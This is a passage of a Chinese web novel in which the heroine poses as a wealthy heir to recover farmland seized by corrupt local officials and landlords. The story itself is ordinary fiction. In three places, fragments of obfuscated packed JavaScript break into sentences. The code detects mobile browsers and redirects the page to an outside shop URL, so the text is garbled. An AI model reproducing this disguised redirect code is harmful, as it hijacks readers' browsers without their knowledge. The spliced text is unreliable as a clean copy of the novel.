“当然是因为息钱较多。” “对喽!”康日吉一拍大腿,兴高采烈道,“确实如公子所说,我康某草夫出身,您家大业大,自然是看不起我这点薄利,但您想想,您这笔钱,高低也是存在我这儿,与其拿这点息钱,不如让它发挥自己的最大价值。” 姜琰挑眉,似乎是有点兴趣:“怎么说?” 康日吉一看有戏,趁热打铁道:“您可知现在朝廷颁布的摊丁入亩法?” 姜琰点头:“有所耳闻。” 康日吉嘿嘿一声道:“现在小人手上共有良田一百亩,若是大人能从我手中买走四十亩,那么田地变少,赋税减少,但咱这良田亩产可多……除去赋税,那剩下的粮食不就是咱们的了?” 姜琰眸光闪了闪,装作不懂道:“我要这么多粮食做甚!” “哎呀,我的大人!”康日吉急的要跳起来了,“您是易氏子弟,这还不清楚粮食意味着什么吗!” “如今这世道,动不动就天灾人祸的,仓廪充实,您可以买卖粮食,也可以……唉,我就不多说了,你懂的。”他坏笑着,眼神意味不明。 “当然,小人也不是真的要公子将良田买过去,您在我这儿存的钱到期我会连本带利还您,只是将息钱换成田赋,这可比您单纯的存汇得利多多了!” 姜琰心想这什么灰色理财,以为她很好骗?于是质问道:“官家刚实行新政你就在底下搞小动作,你这可是害我!” 康日吉心想这人也太直白了,但一想到这人出手阔绰,又看看柜台上那一万两白银,硬是忍了口气道:“公子这可不兴说啊,咱买卖田地的手续齐全,章程合理,怎么就违犯律法了?” “咱这是君子爱财,取之有道。” 姜琰:我可去你的君子爱财取之有道吧,真当她没上过学吗。 想到常家一家四口就这么饿死在了自己祖祖辈辈休养生息的地方,她心中涌起一股恶寒,手不自觉在身侧握紧成拳。 她要让他们私吞侵占的田产和钱财,一个子不留的还给她,她要为那些枉死的农户报仇血恨,这些啃食百姓血肉的蛀虫,迟早会被她清理干净。 她微微笑道:“有点意思,不过四十亩太少。” 康日吉笑容一顿,问道:“那您想买多少亩?” 姜琰从怀中掏出一把铜钥,轻描淡写道:“一百亩,我全要了。” 13.第 13 章 “这……” 康日吉与伙计惊诧地对视一眼,他们也没想到对方一上来就要一百亩地,有些为难:“这……” 姜琰冷哼一声:“这什么?你们自己说自己有一百亩地的,难不成是诓我?” 康日吉支支吾吾道:“倒真不是骗大人,只是这地是我们兄弟二人合买的,您要是想要,我还得和我兄弟商量商量呢。” 他口中的“兄弟”应该就是余士玮了。 姜琰佯作生气道:“康老板,话我已经说到这儿了,过两日我便回京,你自行定夺吧。” 她停顿片刻,又接着指了指桌上的铜钥道:“你可听说过三明堂?” 康日吉反应了一会儿,嗫嚅道:“知道……” 姜琰不可一世地笑道:“此乃我易家的产业。” 康日吉:“所以……?” “在下不才,从来没为钱发愁过,所以康老板,不是我求你,而是你有求于我。” 说罢,也不管康日吉做出何种回应,径直离开了钱庄。 回到客栈,姜琰将那身暴发户的行头卸下,待到新月斜挂天际,纸窗上只能露出连绵起伏山脉的幽影时,她的门突然被打开了。 “小姐!” 姜琰还未起身迎客,便感觉有一个嫩黄的身影扑了过来,她下意识伸手接住,盼春毛茸茸的脑袋在她怀里拱了拱。 姜琰有些痒,哈哈笑道:“盼春!你快起来!好痒!” 盼春闻言将脑袋从她怀里拔出来,耷拉着脸道:“谁叫你非要让奴走在后面的,小姐你每次都是这样一个人做事,我会很担心的!” 姜琰皱眉道:“盼春,你不许自称奴了。” 盼春眨巴眨巴大眼睛道:“不叫奴叫什么?” 姜琰:“你就叫自己名字就好。” 盼春更加郁闷,不仅郁闷,还有点疑惑,在那里叽里咕噜地喃喃自语。 姜琰知道这傻丫头是死脑筋,一时间绕不过来,掠过她向前迎接盼春身后的女子。 面前的女子身着淡蓝长裙,裙裾上绣着点点红梅,身材纤细,盈盈小腰上系着一条淡紫色织锦腰带,连同长佩垂在身前,一头青丝简单的在脑后挽了个髻子,头上仅一只白玉簪作点缀,清丽脱俗。 她原本焦黄瘦削的脸庞近几日也被盼春养的胖了许多,面色红润,小脸发亮。 她微微躬身,袅袅婷婷地行礼道:“姜小姐。” 姜琰冲她吹了个口哨,调侃道:“常小姐。” 常禾小脸一红,犹豫着说道:“姜小姐,这样真的能骗过福必成?” 姜琰胸有成竹的点点头。 刚才还在一旁嘀咕地盼春看两人聊的热络,也凑上来,昂起头邀功道:“小姐,常姑娘这一身可都是我自己精心挑选打扮出来的,怎么样,我手艺好吧?” 姜琰苦笑不得道:“好好好……” 盼春见她表情为难,嘟着嘴撒娇道:“小姐!你怎么这么敷衍!” 姜琰:“啊……有吗?” 盼春胆子也是打了起来,装模作样地跺脚道:“有!” 常禾被她们二人插科打诨的气氛感染道,也跟着姜琰打趣道:“盼春姑娘这么好的手艺,不开个铺子真的可惜。” 姜琰哈哈笑道:“对啊盼春,不如你就租我名下的铺子吧,我给你打对折……” 盼春气得脸都要白了:“小姐!常姑娘!” 姜琰和常禾对视一眼,须臾二人一同笑道:“哈哈哈哈哈哈哈……” 客房内风烛摇晃,然而在豫县的另一头,占据了城中飞花巷的半个巷子的康府内却一片寂静,高门大院却不见人影,只能在宅邸深处的偏房里窥见三个鬼鬼祟祟的身影。 若不是余士玮阻拦,这俩二货还要把蜡烛都吹灭才安心。 康日吉将今日所见所闻告诉福、余二人,三人听过沉默不已,互相看看对方后异口同声道:“这人没事吧?” 三个人想破脑袋也想不出一个这个姓易的人到底想要干什么,真的是为了自己偷来的那点赋税? 倘若不是,那又是为了什么? 福必成道:“此人是个傻大款。” 康日吉道:“他应该是因为如此多的粮食而心动。” 余士玮思忖片刻:“我虽然觉得你们说得都不对,但我也不知道为什么。” 这三人之中,福必成是行伍出身,性格睚眦必报,在军营里杀了瞧不起他的校尉后当了逃兵,改名换姓,甚至自毁容貌,后结识当初的姜家主母,姜秉的续弦,也就是现在正在某个庄子里奄奄一息的李氏,凭借着自己的心狠手辣拿到了常庄农田的管理权,从刚开始的通缉犯摇身一变现在的福老爷,这人自卑又自大,宁愿相信姜琰是傻子也不愿意承认她会对自己不利,毕竟这对他来说是一种侮辱。 康日吉曾是福必成手下的拉货郎,此人贪婪、爱占便宜,他以为世上所有人都是这样。 至于余士玮,他和二人都不一样,这人是正经读过几年书的,考上了秀才后又娶了个老婆,但在乡试目睹考生给考官送礼,举报无果反被人诬陷作弊,禁考十年,他老婆倒是不离不弃,但还没等他当官就死了,他觉得上天不公,这世道笑贫不笑娼,于是托人介绍认识了福必成,成了他的军师。 这人认为,唯有滔天的权利和无尽的财富才能得到世人的尊重。 三个人永远也不会想到姜琰一掷万两只为了给贫农们求一个公道。 三人商量好一会儿,福、康二人达成了共识,决定先把这一百亩地转让出去,本来就是瓜分来的,田契上写得都是各自妻女的名字,都转让给易见山也不会惹人怀疑,大不了就说是易见山强迫他们买卖的嘛,反正这盆脏水落不到他们头上,两个人计划都要做完了,余士玮才开口道:“我不同意。” 康日吉道:“余老弟为何不同意?” 余士玮道:“并没有明确的消息表明户部巡查的官员就一定会来青州,而且就算来了,为什么一定会查到我们头上?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964270|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 福必成道:“这……就怕万一他们来了……” 余士玮看了他一眼,接着说道:“就算他们要来,也会查到我们头上,我们就不能把账本上的内容改了抹去这一百亩的存在吗?” 康日吉道:“咱们不是已经改了嘛,只是看起来实在是太明显了,谁家‘是’中间那一横写这么长。” 听到这句话,余士玮冷静的脸上终有有了一丝裂纹:“所以我就说那种方法不可取!到底是哪个草包想出来的这种改账的方法的?自己看着不觉得荒谬吗?” 康日吉没说话,看了眼福必成,后者挠挠头:“呃,这个,这是我弟媳妇儿的侄儿改的,都是亲戚,我不好拒绝啊!” 余士玮最讨厌这些人情往来,一说到这儿就气得牙痒痒:“有那么多平账的方式为什么选这个,明明可以按我说得做的!” 福必成见他又犯病了,心里翻了个白眼,但嘴上还是劝道:“余兄莫急,现在平账也来不及了,不如就把这些田全部转手卖了算了,反正这易见山平常也不在青州,他老家在洵离太平,天高皇帝远的,他一走,钱不都是咱们的了?” 余士玮冷哼一声:“你们可别忘了,就算你们把这些田卖给那个叫易什么什么的玩意儿,田契上不还是写的我们三个人妻女的名字?你怎么把这些名字划去?就算你手眼通天让户房那些狗官把名字划去,这些田契上写谁的名字?莫不是抓个替罪羊来?” 这一番话可提醒了在场的所有人,福必成没读过书,想不到这其中的利害关系,一时间也不知道怎么辩驳,只能羞耻地红着脸梗着脖子任凭余士玮嘲讽:“福兄,不是我说,平常收集那么多古籍名典,你也得记得看看啊,不然……” 余士玮像是喝多了一样,面颊坨红,摇摇晃晃地起身拍了下他的肩膀:“这田也有我的一份,我宁愿自己被抓也不愿意把命交给那个素不相识的易小子手上,你看着办吧。” 说完他便看也不看福、康二人一眼,大摇大摆地离开了。 安静的内室只留福必成和康日吉二人,福必成等他走后一脚踹翻了身前的梨花木架子,上面各种各样精致小巧的瓷盏玉瓶从架子上滑落,叮叮咣咣的响声回荡在室内。 康日吉看了眼脚底下的翡翠九狮炉,心里一痛,那可是他托了不少人才拿到的掸国玉料,找了以前皇宫里的匠人雕刻而成的,竟然被福必成一下子踹碎了,他“哎呀”一声恼道:“福兄!你和那个书呆子较什么劲,他不就是这种人吗,心比天高命比纸薄的。” 福必成猛地回头:“你说什么?” 康日吉道:“书呆子……” “不对,最后一句。” “命比纸薄。” “对,就是这句话,”他神情阴鸷,好像想到了什么,倏然桀桀笑了起来:“命比纸薄,哈哈哈,命比纸薄啊!” 康日吉一愣:“你是说……” 福必成道:“想来我也算是对得起他了,但各人有各命,自己福浅,别怪我心狠手辣。” 14.第 14 章 “听说了吗?咱们青州这儿要建个渡口!” 自城中宣德门东去,有一条纱行街,铺面林立,最是繁华热闹,虽然取名“纱行”却不卖纱,而是勾栏众多,名角云集。 这地儿是看戏的,也是城中八卦交流的中心。 这不,两个卖木雕的手艺人正坐在自己摊位前,一边磨着手里的木头,一边咬耳朵道: “这我知道,最近淮安到杭州的运河刚刚建成,咱们这青州也想分一杯羹,不过姜家是哪个姜家,濯州那个?” “对对对,就是那个姜家,不过这次来的是个女的。” “女的?难道是那个续弦李氏?” “你是不是傻!”其中一个手艺人一听这话都想上手拍他,但想到自己手里还有没雕完的木头,硬生生忍住,啐道:“你这消息可落后了,李氏早就因为放贷被休了!” 另一个手艺人惊诧片刻,又撇嘴道:“倒也不奇怪,毕竟早有传闻说她苛待原配女儿。” 说完,他又歪着头想了一会儿,好奇道:“那这次来的人是谁?是李氏的女儿?” 另一位手艺人彻底忍不住了,把手中的木雕宝贝地放在凳子上,然后站起身给了他一下:“你没事多听听别人说话行不行,早说了李氏那几个孩子最大的才十岁,吃饭都还要人喂呢你跟我说他们长腿来青州了,你是不是故意讴我?” 那手艺人被打了一下眼神都清澈了,忙道:“确实诶,好像是听人说过,那这次来的就是那个原配的大女儿?但这姑娘不是傻子吗?” 手艺人悄摸瞅了眼四周,蹲下来小声道:“你可别跟人说啊。” 另一人点点头,那手艺人说道:“我听说姜家那个被夺舍了!” “噗——” 坐在他们旁边的吃面的姜琰听到这句话忍不住将自己嘴里的面汤一下子喷出来,两个人奇怪的看了她一眼,她咳嗽两声,也没专门和他们说什么,只是焦急地拍着前胸顺气,全当自己被呛着了,二人一看这人咳得整张脸都充血了,也没深究,觉得只是巧合,自顾自说道: “姜家女原来是痴傻不错,但不知道为什么失足落水后突然变聪明了,整个人就跟个活算盘似的,将自己名下产业要回来了以后算的明明白白,据说李氏放贷也是她发现的。” 正在用筷子夹面的姜琰动作一顿,心想这两人、哦不、这纱行街不愧是青州最有名的说书地界,消息不仅流通的快、还保真! 这可比现代那些无良狗仔业务能力强多了。 她夹了块儿腌萝卜,打算再听听还有什么八卦。 二人嚼了一会儿姜家的舌根,觉得没意思,又把关注点转移道城内最近的轶事,说姜琰被夺舍的手艺人道:“你知道吗,最近咱们这儿除了姜家大小姐,还来了一个人!” 另一个手艺人竖起耳朵道:“谁啊?” 那手艺人咂舌道:“我听说这人家里比姜家还有钱…” 姜琰还想再听,但俩人已经被前面的东西吸引了,瞬间噤声。 姜琰也随着他们的目光抬头望去,随后便愉悦地勾起了嘴角。 面前的马车精致华丽,门上雕着繁杂的花纹,单看造型并没有什么不同,只是这辆车车架全部用金丝楠木做成,牟钉均用金箔包裹,马是踏雪乌雅,窗是镶金嵌宝—— 这是一辆货真价实的黄金马车。 正当街上商贩百姓纷纷议论来者何人时,车帘被缓缓掀开,一位头戴面纱的纤瘦女子下了车,那个原本还兴致勃勃说八卦的手艺人捅了捅另一人道:“这应该就是姜家大小姐了!还带着面纱,不过看起来应该长得不错!” 另一个手艺人没回话,而是让他嘘声,昂了昂下巴道:“别说话,看看她去哪?” 所有人的目光都聚焦在这位窈窕少女身上,姜琰也不例外。 她与常禾仓促对视了一秒后,后者果断地移开视线,盼春在一旁恭敬扶着她的手道:“小姐,小心。” 姜琰并不为这看起来冷冰冰的眼神而恼怒,反而更加开心,开心之余还带着些惊喜,她看着常禾进了县衙,县令热络地迎接道:“姜小姐,您里面请!” 常禾不着痕迹的点点头,仿佛习惯了众星捧月一般,沉默着随县令走进了县衙。 三天前—— 尚在姜府的姜琰被姜秉招呼过去看账,他总不着家,偶然听得府中账房说姜琰的算学之术已经无人能及了,不仅做账很快,而且精准,更可怕的是她看完还能一字不落的背下来,精通各朝各代的律法,还能提供节约府中开支的建议,完全可以算是稀缺人才。 姜秉一听姜琰如此厉害,不免感到欣慰,甚至有些骄傲,男人嘛最要面子,他觉得是时候给她一些施展才华的机会了。 这次找姜琰过来,主要是想让她去一趟青州。 青州位靠平江的分支河流粟河,按理来说平江水量大、水面宽广,适合水运,在它支流的青州也应该分一杯羹才对,但不知为何,粟河水流奇小无比,河面狭窄,不便货船通过,俗话说想致富先修路,青州没什么官道,水运又不发达,逐渐成为江浙一带比较穷的地方。 以往的青州知府被派到这个地方纷纷摆烂,觉得搞建设是没什么希望了,都是抓制度改革,但这次新到任一个从交趾来的同知,手段刚硬,在交趾的时候就修桥修路还发展海运,现在来到青州,一看这地儿占着茅坑不拉屎,占着江浙富饶之地竟然不修渡口,连夜上奏朝廷,请示在这边修个码头,把粟河的货物分一些到这边,顺便吸引投资。 朝廷给青州拨了笔款,但知府发现理想是丰满的,现实是骨感的,朝廷这笔钱只够扩建河面,不够修建渡口和漕船的钱,思来想去,这知府想到了一个方法:招标。 把渡口承包给水商来建,这样不仅解决了资金短缺和技术难题,还能借水商的信誉提高知名度,促进投资引商。 说来也巧,这知府和姜秉认识,上任路上遇到了出差的姜秉,俩人勾肩搭背的贤弟贤兄地叫着,觥筹交错间喝大了的姜秉答应了去青州看一眼。 但第二天酒醒姜秉就后悔了,首先青州这个渡口投资收益不大,运输量少,没什么利润,而且青州这是第一次建,风险很高,但那青州知府大小是个官,不能出尔反尔,于是就把这烫手山芋甩给了姜琰。 姜琰听着姜秉对她滔滔不绝的夸奖,心里嘲讽道:有事钟无艳无事夏迎春,实际上不就是喝大了吹牛吹过了喊她去收拾烂摊子吗? 姜秉见她神色凝重,心虚地安慰道:“当然了,倒也不是真的让你直截了当的拒绝他,如果非要咱们建,咱就认了!” 本以为她会犹豫一下,没想到姜琰立马爽快地答应:“爹,你放心,这钱我是肯定不会给出去的。” 不知为何,姜秉觉得如果姜琰这么说了,那她一定会做到,于是站起身摸了摸她的头:“好啊,果真是长大了。” 姜琰看着他已经有些黄浊的眼珠,突然有些感慨,但还是不着痕迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987079|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地躲过他的手。 —— “客官?您这面还吃不吃了?” 面摊的老板见面前少年气质非凡,但总盯着一个小姑娘看,心里鄙夷,面露不悦,想快点赶他走,于是借着收碗的名义催他。 姜琰一看自己也在这里停留够久,于是将钱放在桌上,慵懒闲散地起身走了。 福必成那边还没什么动静,想来是三人商量遇到了麻烦,福必成和康日吉还好说,这俩属于遇到点事情就慌神的鼠辈,他们侵占刘氏的田地那么久,现在也该反噬了,唯一的变数便是余士珲,这人…… 可不是个善茬儿。 但如今走到这一步,只能顺其自然了。 姜琰回到客栈时,见自己的门缝处被塞了张纸条,她将卷曲的纸条展开,上面写着:“明日辰时,青白庄东二十里,梧桐树下,与君相见。” 看见这文邹邹的字条,姜琰无语凝噎,果然这人越是缺什么越想表现什么。 她没空搭理康日吉,而是静静等着常禾她们回来。 大约两个时辰后,二人终于风尘仆仆地回来,原先那精气神都被消磨殆尽,盼春抢过来茶壶给自己倒了满满一杯茶水,一边咕噜咕噜喝起来,一边说道:“这田知府也太精了,一眼就看出我们不想拿钱修渡口,一通恭维的话噼里啪砸下来,搞得我们都不好意思了。” 姜琰狭促道:“他究竟怎么跟你们说的?你们谈话的结果是什么,不会真的答应他了吧。” 一直在旁边默默休息的常禾回道:“小姐放心,我们没答应,但据他所说,这次没什么人来,也没有谁愿意帮他,听得我还挺难过的,其实田大人他……是个好人。” 姜琰这才想到常禾应该是受到过田知半的照拂的,常禾接着说道:“他们说这摊丁入亩法本来就是试行的,其实根本轮不到青州,可田大人硬是为青州争取了一个名额,说这是个能减轻赋税的好方法,但谁能想到被康日吉那些人钻了空子!” 说者无意,听者有心,这话让姜琰陷入了沉思:刘氏的一百四十亩良田是被李氏夺去交给福必成代为管理的,这田契上根本没写福必成的名字,他是怎么把田转让到他们名下的? 她突然想到自己大学时,财政学老师要求他们写的一篇论文,题目为:《古代经济制度与政府结构发展的关系研究》,在写这个论文时,她认真研究了一下古代府、县两级政府部门的主要架构,其中主要负责执行的为“三班六房”,而负责钱粮的为户房,古代户房的权力很大,负责手书的小吏更甚,甚至能使“使连阡陌者空无籍,无立锥之家籍辄盈野。” 也就是说,若田知府真是个好官,那么肯定有人在他手底下动了手脚。 想到这儿,姜琰突然问盼春道:“我在这儿还有没有什么别的产业?” 这几日姜琰也会教盼春算账,现在她也能看懂点账本,她名下的产业太多了,有一部分就分给了盼春看。 盼春愣了一下回道:“有的,小姐你在这儿有个木业公所,剩下就还有个歌楼了。” 姜琰接着问道:“这木商是否有名?” 盼春道:“是给徽商经营的,簰夫不下数千人,有时还会为宫里提供修建的木材。” 姜琰了然,紧接着笑了起来。 常禾和盼春疑惑道:“小姐这是怎么了,为何突然这么开心?” 姜琰笑得眼泪都要出来了,上气不接下气地说道:“你们听说过,空手套白狼吗?” 15.高端的计谋,往往采用最朴素的手段(二) 拆桐花烂漫,乍疏雨,洗清明。 青白庄外十里地处,梧桐树下几辆马车零星分布着,车头的车夫们百无聊赖,但却还是保持着警觉,时刻注意着前车上的动静。 姜琰迟迟未见康日吉一伙人,心想莫不是自己的计划出了什么纰漏,正当她静坐在车内复盘时,忽地听到外面阵阵响动,她悄悄掀开帘子,看了一眼后方,远处泥水飞溅,想来是康日吉他们到了。 姜琰又把帘子放下,清了下嗓子,其实她心里也害怕,但事到如今,害怕也不抵用了,只能去面对它,解决它。 她在心中把措辞想了又想,直到车外有人提醒她道:“小姐,他们来了。” 姜琰在车内紧张地点了点头,安慰自己道:还好有尚归。 尚归此人,正是雁衫坊主事第五章的护卫,此人武力高强,尤善近战,随身配一把短剑,名叫“绣花针”,能一剑封喉,取对方首级于无声之间。 昨日她得知自己名下还有个从事木材开采运输的产业,特去拜访了一下,得知这雁衫坊是刘氏还在世时便托给婺源第五家代为管理,将自己的事情用春秋笔法描绘了一遍,第五章“大恸”,当即便把尚归派来保护她。 第五章此人出身于落魄的徽商家族,家里原先是卖砚台的,但婺源的砚台远远没有歙砚有名,竞争不过,就慢慢落没了,直到刘氏给了他这个雁衫坊,第五章就跟开了窍似的,将它经营的蒸蒸日上,全国各地都有它的转销店铺。 姜琰本以为自己突然拜访会让对方感到冒犯,毕竟自己从一开始就没露过面,这木坊是人家第五一族呕心沥血经营而成,如今好不容易声名远扬,自己现在去未免会让人觉得居心不良,好像是来抢人家产业的。 她从进门开始便惴惴不安,时刻察言观色,没想到第五章不仅面露不悦,还非常热情的招待了她。 这种热情不是装的,而是发自内心的,姜琰感觉的到。 她坐在议事堂内,高耸入天的松木中柱上雕着七云山十二天尊谒神图,每个木柱都在最上面特地岔开两头,一头直抵屋脊,一头弯折突出按方位雕成朱雀玄武青龙白虎,神兽大张着嘴低头与她怒目相望,瑰丽诡谲。 第五章看出了她心里的忧虑,和善地笑道:“姜小姐莫要担心,漓玥……哦不刘小姐她对我父亲有知遇之恩,没有她就没有我们第五一族的今天。” 奇怪,姜琰心想,他为何直呼刘氏的名讳? 第五章见她将信将疑地表情,觉得有趣,接着笑道:“况且,就算您有心想收回木坊,也未必能有我经营的这么好。” 姜琰没想到他说话如此犀利,震惊地睁大眼睛,呆楞地盯着他,只听他又说道: “我第五章有这个自信。” 姜琰会心一笑道:“五老爷坦荡,琰敬佩不已,既然五老爷这么说了,那我也开门见山了,今日我来找您,是想让您帮我个忙。” 第五章道:“姜小姐不妨直说,能帮的,我第五章一定鼎力相助。” 姜琰颔首,语气肃然:“您可听说田知府要建个埠头的事?” 第五章点点头:“知道,田知府还找过我。” 姜琰闻言笑了,第五章一愣,眼神有些迷蒙,姜琰没注意他神情的变化,接着说道:“如此,可否请五老爷再去一趟府衙?” —— “小姐,他们已经在车外候着了。” 尚归沙哑的声音从车外响起,姜琰本想立刻下车,但一想到自己身份已经不同,立刻摆起谱来,懒洋洋地“嗯”了一声,也不管还站在毛毛细雨里的康日吉一伙人是如何焦急的等待,不紧不慢地下车站稳,尚归不知道从哪里带了把伞出来,把伞打开举在她的头顶。 姜琰瞥了一眼对方的车队,大概只有一个车,两个人,康日吉点头哈腰地站在前面,后面的福必成在护卫们的簇拥下向她颔首,姜琰这才看清他的长相——这人皮肤黝黑,身材较矮,但不虚胖,能明显感觉出这人是很壮实的,方块脸大耳朵,右脸戴了半张银纹面具,面具边缘下皮肤褶皱暴露着增生的疤痕和血丝,那是烧伤才有的痕迹。 她对这位福老爷的“往事”“有所了解”,听说他原来是个通缉犯,原本她还觉得坊间传闻过于夸张,但今天一看他那豹头环眼的样子,突然觉得小道消息未必不可信。 这人无论何时都绷着一张脸,眉骨低压挤着眼睛,好像陷入浓浓的阴影里,眼神阴鸷,整个人仿佛被黑雾笼罩一样。 康日吉及时将她的视线扯回来,正欲伸手揽一下她表示熟悉时,尚归一手扼住他的脖子。 康日吉倒吸一口气:“您这是做甚?” 尚归道:“易公子岂是你能碰的,收回你的脏手。” 姜琰在心中叫道:好尚归!真帅! 康日吉顿时收回手,尚归同时放开他。 有了尚归的警告,康日吉明显安分了许多,姜琰不想和他废话,开门见山道:“地契在哪?” 康日吉打哈哈道:“易公子莫着急,咱还没谈价钱呢。” 姜琰拍拍手,后面的车夫门看到这一动作立刻将车子上盖着的步掀开,唰唰唰几下,康日吉只觉眼前之物发出的光闪得他眼疼,他缓了才适应地睁开眼,当看清他面前的东西时他简直傻了。 就像被人钉在地上一样,他不可置信的看着姜琰拿起其中一块,大着舌头说:“易公子,这这这会不会太多了?” 就连后面的福必成也被闪得说不出话来了,他这辈子都没见过这么多钱——每个小车上都摞起了半人高的黄金小山,还不止一辆。 这这这这是金山啊! 康日吉咽了口口水,姜琰挑眉道:“这样可以了吗?” 康日吉回头看了一眼福必成,对方呆楞地点了点头,好像在说:可以吧…… 不可以也得可以了,对方给的钱太多了,多到让他们无法拒绝。 康日吉见福必成也没有异议,从怀里掏出一沓地契。 尚归拿过来递给了姜琰,姜琰在盘清田产数量,而康日吉则转悠道后面去数钱去了。 姜琰看着手里的田契,心中骂道:可真是又蠢又坏,一百亩的田契被他们转让来转让去,几乎每张田契上写的名字都不一样……等等! 她又重新看了一遍这些田契,怎么每个地契的原始持有者都是余士玮啊! 余士玮不是读书人吗,难道不知道他们把田地都转移到他的名下以他的名义进行交易吗?他能允许他们这么做?还有余士玮为什么到现在都没出现?他在哪?在干什么? 姜琰叫住正在摸金子的康日吉道:“这到底是余士玮的田还是你们的?康老板,不干不净的田我可不要。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022114|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 康日吉已经被金子迷住了双眼:“这是余士玮卖给我们的,没什么问题,公子可以去查,上面的都是我们妻女的名字,放心!” 姜琰觉得这人简直令人作呕,为了钱竟然出卖妻女,如果不是自己顶着别人的皮,她恨不得将他们所有人抓起来吊在梁上,扒皮抽筋,看看他们的心有多黑! 但她没有,她隐忍地叹了口气,还是淡淡道:“既如此,那便签署地契吧。” 南胤的律法规定,凡是交易民田或者私田而签署的地契,买卖双方未经官府验证而成立的契据,叫“白契”或者“草契”,经官府加盖官印并纳税的称红契。 白契是没有法律效力的,姜琰看了一眼手中的地契,每张地契上都有官府的加印,这更加坐实了姜琰的想法——官府现在严打乡绅分田,可就在这种情况下他们还能随意的买卖土地,想来府衙里已经被他们渗透了。 三人将地契写好,包括立契人姓名、卖地原因、哪几块土地、坐落位置、地界四至、价钱、收款情况,以及有可能出现纠纷的解决办法。 严格意义上来说,这些田地应该由他们几个人带着妻女来签字画押,代签是违法的,但康福二人的意思已经很明显了,这田就是一个擦边球,他们都是一个愿打一个愿挨罢了,姜琰这时候再跟个判官一样说些大道理,反而会引起他们的怀疑,于是她索性闭嘴,仿佛见怪不怪一样。 “好了。” 康日吉带来的账房将地契一式三份的抄写好,放在他们面前,康日吉迫不及待地拿起笔就要签字画押,却被一直一言不发的福必成拦住。 福必成眯起眼睛看着她,他脸上银质的面具已经发黑,上面雕着密密麻麻的花纹,就像黑石头上长满了麻麻赖赖的小疙瘩,看起来诡异可怖。 若不是此刻情况危机,她还真的挺想问问福必成既然不缺钱,怎么不换个新面具,这面具对他来说有什么特殊的含义? 姜琰被他盯得有些不自在,手掐着大腿保持冷静,福必成忽然笑了,稀疏的牙齿上结着焦黄的牙垢,他问她道:“易公子,福某有个问题一直想问你。” 姜琰昂起下巴,垂眼回道:“说。” “你为何如此想要这一百亩田地?据我所知,易家不缺鄙人这点田,而且你也知道这田不明不白的,就这么拿在手里,公子不再考量一下?易公子,你究竟想干什么?” 姜琰听到这话下意识的想掀桌,试图通过原来糊弄康日吉这套来逃过一劫,但当她看向福必成那张毁了容貌的脸时,她才反应过来面前的人和康日吉不同,这是个为了逃命能活生生烧了自己的脸的狠人,自己必须好好回答他的问题,不仅如此,这个答案还要合情合理,使他完全信服。 姜琰佯作犹豫了一会儿,将一本账本甩给了他道:“福老爷果然七窍玲珑心,易某买田的原因,都在这儿了。” 福必成将账本打开,先是扫了里面的内容一眼,然后越看越深入,好像不相信一样,又给几个账房查看,几人看完之后均是摇头,福必成忽然笑了,这笑容可比原来真实太多,他安心地在地契上签字画押道:“没想到易公子也有难言之隐,输了这么多田,易家主肯定不好受吧。” 姜琰哼道:“老爷子才不知道,所以福老爷,咱这交易还继续吗?” 福必成笑道:“当然。” 16.高端的计谋,往往采用最朴素的手段(三) “谎言是无数个细节。” 姜琰自从知道福必成和余士玮的经历后便觉得光靠自己一张嘴糊弄他们三人是完全不够的,怎样才能在他们质疑自己时拿出有信服力的证据证明自己确实需要那一百亩田,那就需要动动脑子了。 但怎样的动机才会让一个家世显赫的人自愿来到青州这种“穷乡僻壤”只为了买一百亩地? 南胤土地兼并这么严重,哪里没有富农,哪里没有一百亩良田,他福必成何德何能能和易家做上交易? 但倘若这个事情不能被易家人或者熟悉易家人的人知道呢? 如果她伪装的此人因为某些原因不得不离开易家的势力范围并且迫切的需要一块不明不白的田地呢? “那这个人也违法不就行了。” 姜琰想的很简单,买卖双方都违法,这样就相当于给对方也送了个把柄,大哥别笑二哥,即使对方心里疑惑,最起码也能起到安抚的心里作用。 那天晚上她又打开了天眼查,看了下易家的组织结构,在里面找到了一个和她年龄差不多,自己又对对方名下比较熟悉的人,此人名叫易见山,二十岁,手底下有良田百亩,还有几个铺子,这人算是易家比较穷的了,他的爹娘兄长都比他有钱,最关键的是姜琰问了一圈儿,没人知道有易砚山这个人,知道的也说他深居简出,要不是得病了要不就残疾了。 这简直是天选之人! 于是她连夜做了一本账,还用ps把官府的章给抠下来贴在了自己伪造的地契上,上面清清楚楚的写了什么时间什么地点这笔钱去哪了,福必成又不是不谙世事的小孩,一看到“云梦”“琼楼”这种赌坊名字就知道怎么回事了。 如果以上不能让他信服,那么最关键的一点也让她写进了账本里——这输掉的一百亩农田里,有易家主在青州的官田。 